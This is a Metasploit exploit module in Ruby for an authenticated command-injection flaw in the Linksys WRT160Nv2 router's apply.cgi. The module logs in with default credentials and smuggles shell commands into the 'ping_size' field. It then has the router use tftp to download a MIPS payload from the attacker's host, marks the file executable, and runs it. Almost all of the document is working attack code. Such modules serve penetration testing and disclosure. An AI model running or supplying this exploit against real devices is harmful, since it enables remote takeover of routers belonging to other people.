linksys wrt160n tftp download module
m-1-k-3
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09bf23f4d6
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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require 'rex/proto/tftp'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::EXE
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include Msf::Exploit::FileDropper
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include Msf::Exploit::Remote::TFTPServer
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Linksys WRT160nv2 apply.cgi Remote Command Injection',
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'Description' => %q{
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Some Linksys Routers are vulnerable to an authenticated OS command injection.
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Default credentials for the web interface are admin/admin or admin/password. Since
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it is a blind os command injection vulnerability, there is no output for the
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executed command when using the cmd generic payload. A ping command against a
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controlled system could be used for testing purposes. The exploit uses the tftp
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client from the device to download the payload.
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},
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'Author' =>
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[
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'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
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'juan vazquez' # minor help with msf module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'BID', '57887' ],
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[ 'EDB', '24478' ],
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[ 'OSVDB', '90093' ],
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[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-012' ]
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],
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'DisclosureDate' => 'Feb 11 2013',
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'Privileged' => true,
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'Platform' => ['linux','unix'],
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'Payload' =>
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{
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'DisableNops' => true
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},
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'Targets' =>
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[
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[ 'CMD',
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{
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'Arch' => ARCH_CMD,
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'Platform' => 'unix'
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}
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],
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[ 'Linux mipsel Payload',
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{
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'Arch' => ARCH_MIPSLE,
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'Platform' => 'linux'
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}
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],
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],
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'DefaultTarget' => 1
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))
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register_options(
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[
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OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]),
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OptString.new('PASSWORD', [ true, 'The password for the specified username', 'admin' ]),
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OptAddress.new('LHOST', [ true, 'Our localhost IP address from where the victim downloads the MIPS payload' ]),
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OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
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OptInt.new('DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 10])
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], self.class)
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end
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def request(cmd,user,pass,uri)
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begin
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res = send_request_cgi({
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'uri' => uri,
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'method' => 'POST',
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'authorization' => basic_auth(user,pass),
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'vars_post' => {
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"submit_button" => "Diagnostics",
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"change_action" => "gozila_cgi",
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"submit_type" => "start_ping",
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"action" => "",
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"commit" => "0",
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"ping_ip" => "1.1.1.1",
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"ping_size" => "&#{cmd}&",
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"ping_times" => "5",
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"traceroute_ip" => ""
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}
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})
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return res
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rescue ::Rex::ConnectionError
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vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
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return nil
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end
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end
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def exploit
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downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(4))
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uri = '/apply.cgi'
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user = datastore['USERNAME']
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pass = datastore['PASSWORD']
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lhost = datastore['LHOST']
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#
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# testing Login
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#
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print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
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begin
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res = send_request_cgi({
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'uri' => uri,
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'method' => 'GET',
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'authorization' => basic_auth(user,pass)
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})
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if res.nil? or res.code == 404
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fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
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end
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if [200, 301, 302].include?(res.code)
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print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
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else
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fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
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end
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rescue ::Rex::ConnectionError
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fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
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end
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if target.name =~ /CMD/
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if not (datastore['CMD'])
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fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
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end
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cmd = payload.encoded
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res = request(cmd,user,pass,uri)
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if (!res)
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fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
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else
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print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
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end
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return
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end
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#thx to Juan for his awesome work on the mipsel elf support
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@pl = generate_payload_exe
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@elf_sent = false
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#
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# start our server
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#
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print_status("#{rhost}:#{rport} - Starting up our TFTP service")
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@tftp = Rex::Proto::TFTP::Server.new
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@tftp.register_file(downfile,@pl)
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@tftp.start
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#
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# download payload
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#
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print_status("#{rhost}:#{rport} - Asking the Linksys device to download #{downfile}")
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#this filename is used to store the payload on the device -> we have limited space for the filename!
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filename = rand_text_alpha_lower(4)
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#not working if we send all command together -> lets take three requests
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cmd = "tftp -l /tmp/#{filename} -r #{downfile} -g #{lhost}"
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res = request(cmd,user,pass,uri)
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if (!res)
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fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
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end
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# wait for payload download
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print_status("#{rhost}:#{rport} - Giving #{datastore['DELAY']} seconds to the Linksys device to download the payload")
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select(nil, nil, nil, datastore['DELAY'])
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register_file_for_cleanup("/tmp/#{filename}")
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#
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# chmod
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#
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cmd = "chmod 777 /tmp/#{filename}"
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print_status("#{rhost}:#{rport} - Asking the Linksys device to chmod #{downfile}")
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res = request(cmd,user,pass,uri)
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if (!res)
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fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
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end
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#
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# execute
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#
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cmd = "/tmp/#{filename}"
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print_status("#{rhost}:#{rport} - Asking the Linksys device to execute #{downfile}")
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res = request(cmd,user,pass,uri)
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if (!res)
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fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
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end
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end
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end
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